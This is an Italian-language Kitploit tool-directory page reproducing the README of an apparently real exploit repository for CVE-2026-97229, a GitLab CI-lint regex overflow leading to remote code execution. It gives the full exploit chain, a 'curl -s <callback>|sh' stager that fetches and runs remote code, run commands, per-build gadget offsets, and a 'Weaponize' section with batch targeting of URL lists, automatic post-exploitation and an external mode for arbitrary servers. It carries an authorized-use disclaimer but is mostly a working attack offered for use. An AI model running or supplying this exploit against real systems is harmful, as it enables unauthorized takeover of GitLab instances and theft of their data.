Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2026-97229-lab — CVE-2026-97229 GitLab CI lint overflow di interi con regex RCE — riproduzione della matrice di versioni InstaBox e reverse engineering del gadget libruby | Kitploit
Strumenti/GitHubGitHub/gandli/cve-2026-97229-lab
Analisi delle VulnerabilitàExploitReverse EngineeringSfruttamento di Applicazioni WebPost-ExploitPenetration TestingAnalisi di BinariApprendimento e FormazioneStrumento di Accesso RemotoLab e Pratica
GitHub
217 giorni faNon ancora revisionato
gandli/cve-2026-97229-lab

cve-2026-97229-lab

CVE-2026-97229 GitLab CI lint overflow di interi con regex RCE — riproduzione della matrice di versioni InstaBox e reverse engineering del gadget libruby

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-97229 GitLab CI lint regex integer overflow RCE

CVE-2026-97229 — GitLab CI lint regex OOB write → RCE

Solo per test autorizzati. Utilizzare questo strumento esclusivamente contro sistemi di propria proprietà o per i quali si è esplicitamente autorizzati a eseguire test (ambito bug-bounty, incarico per un cliente, laboratorio personale). L'uso non autorizzato è illegale.

English | 中文

Una richiesta CI-lint non autenticata che corrompe il matcher Onigmo e reindirizza l'esecuzione verso un gadget system() all'interno di libruby.so:

GET /api/v4/projects/:id/ci/lint?content_ref=<nonce>
  → include.rules.exists.regexp compiles a crafted pattern
  → a 57k-repeat drives the matcher into a ~2 GiB expansion
  → the write lands past the allocation and redirects the VM frame
  → mov r14,rdi; call system@plt runs a 28-byte stager
  → curl -s <callback>|sh  →  uid=998(git)

La richiesta finale non è autenticata, ma impiantare la configurazione CI malevola richiede accesso in scrittura a un progetto pubblico (o a un'istanza che consente la registrazione autonoma e i progetti pubblici).


In sintesi

VoceValore
Interessate (testate)19.2.0–19.2.7, 19.3.0–19.3.3, 19.4.0–19.4.1
Non sfruttabili19.2.8, 19.3.4 (eccezione, vedi sotto), 19.3.5, 19.4.2; 19.2.3 non ha immagine CE
TriggerGET /api/v4/projects/:id/ci/lint non autenticato
Prerequisitiraggiungibilità + scrittura su un progetto pubblico (token, account compromesso o registrazione aperta)
Impattoesecuzione di comandi come git (uid 998) all'interno del container GitLab
Vincoli del PoCbuild x86_64; il layout dipende dalla build di libruby.so, non dalla stringa di versione
Perimetro dell'advisory19.2.x < 19.2.8, 19.3.x < 19.3.5, 19.4.x < 19.4.2

19.3.4 è indicata come interessata dall'advisory, ma il suo libruby.so incluso non entra mai nel percorso di espansione vulnerabile — non siamo riusciti a renderla sfruttabile (repro/evidence/2026-10-18-full-matrix/).


Avvio rapido (lab)

./lab/run.sh 19.4.1                                    # local Docker; first boot 5–15 min
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1

Expected last line:

{"status":"RCE","version":"19.4.1","lint":"http(502)","project":"root/e12ab34",
 "output":"uid=998(git) gid=998(git) groups=998(git)\n..."}

Nessun account cloud e nessun SSH: il laboratorio è Docker puro (daemon locale, DOCKER_HOST o un contesto docker). Su Docker Desktop aggiungere --callback-host host.docker.internal.


Come funziona

  1. L'operatore crea un progetto pubblico e invia un branch contenente un include.rules.exists.regexp appositamente costruito più un percorso di repository di 110 byte.
  2. La richiesta di lint non autenticata compila quel pattern; la ripetizione di 57 805 è scritta come {5(?#)7805} così che la protezione contro le ripetizioni lato Rails (REPEAT_MAX=1000) non la rilevi.
  3. Sulle build vulnerabili il matcher materializza l'espansione (~2 GiB); l'aritmetica delle dimensioni va in overflow e la scrittura corrompe la memoria adiacente.
  4. Il percorso appositamente costruito fornisce un'istruzione call e l'offset di system@plt, dirottando la VM.
  5. Lo stager è curl -s <callback>|sh, che fornisce una shell come utente del servizio git.

Parte 1 — Riprodurre (lab)

1.1 Avviare un target

./lab/run.sh 19.4.1            # http://127.0.0.1:8080, container gl-19-4-1
./lab/run.sh 19.3.3 8081       # second version on another port

Il launcher applica le impostazioni di memoria necessarie all'exploit (sidekiq off, un worker Puma, buffer Postgres ridotti, --memory 6.5g --shm-size 256m), attende l'interfaccia utente e imposta la password di root. Vedi lab/README.md / lab/README_CN.md.

1.2 Probe

python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
CampoSignificato
httpstato di GET /users/sign_in
versionversione di GitLab letta dal container (null senza accesso al container)
classclassificazione dell'advisory: affected / patched / not-listed / unknown
libruby_md5identità di build del libruby.so del container di destinazione
layoutfinish / gadget / step (solo quando la build è nota o derivabile)
exploitablese è disponibile un layout; class=affected non lo implica
layout_sourcetable, derived, o no-overflow-in-build

class: "unknown" significa semplicemente che non erano disponibili informazioni sul container/versione — per un target solo URL lo strumento non può classificare o derivare un layout. Vedi "External targets" di seguito.

1.3 Exploit

python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 \
  --command 'id; hostname; uname -a'

Criterio di successo: lint è dropped(HTTPError) o http(502) e output inizia con uid=998(git). Un 200 con valid:true significa che la build non è vulnerabile.

1.4 Matrice delle versioni

LineaSfruttabileCorretta / non sfruttabile
19.2.x19.2.0, 19.2.1, 19.2.2, 19.2.4–19.2.719.2.8; 19.2.3 non ha immagine CE
19.3.x19.3.0–19.3.319.3.4 (il matcher non si espande mai), 19.3.5
19.4.x19.4.0, 19.4.119.4.2

Evidenze per build: repro/evidence/2026-10-18-full-matrix/ (中文).


Parte 2 — Weaponize (target autorizzati)

2.1 Formati dei target

# plain URL list (.txt)
https://gitlab-a.example
http://gitlab-b.example:8080

# structured (.txt or .csv): name,url,container[,layout]
gl-1941,http://127.0.0.1:8080,gl-19-4-1

# CSV with header
name,url,container,layout
gl-1941,http://127.0.0.1:8080,gl-19-4-1,

container è obbligatorio per il percorso di exploit corrente (libruby/layout + rails runner); layout è un override opzionale per le build che lo strumento non riesce a leggere.

2.2 Pipeline batch

python3 exploit/cve97229.py --targets targets.txt --json-out run.json

Per ogni target, nell'ordine: probe → exploit → su RCE post-exploitation (exploit/post/collect.sh; sovrascrivibile con --post-command-file, disabilitabile con --no-post). --probe-only si ferma dopo il fingerprinting. Codice di uscita 0 se un qualsiasi target ha dato RCE.

2.3 Risoluzione del layout

Il payload necessita di tre costanti per build (gadget finish, system@plt, passo UTF-8). Ordine di risoluzione:

  1. layout esplicito (0x… 0x… 12345);
  2. tabella md5 verificata (10 versioni coperte);
  3. derivazione al volo dal libruby.so del container tramite exploit/layout.py.

Tutte le build vulnerabili note usano solo due layout: 0x486DA9/0x31EE29/1249885 e 0x4885A9/0x31E809/1256138.

2.4 Target esterni (senza Docker)

--mode external richiede solo HTTP e un PAT (scope api): crea un progetto pubblico tramite l'API, esegue il push con oauth2:<token>, avvia il lint non autenticato e rimuove il progetto successivamente.

Scarica lo strumento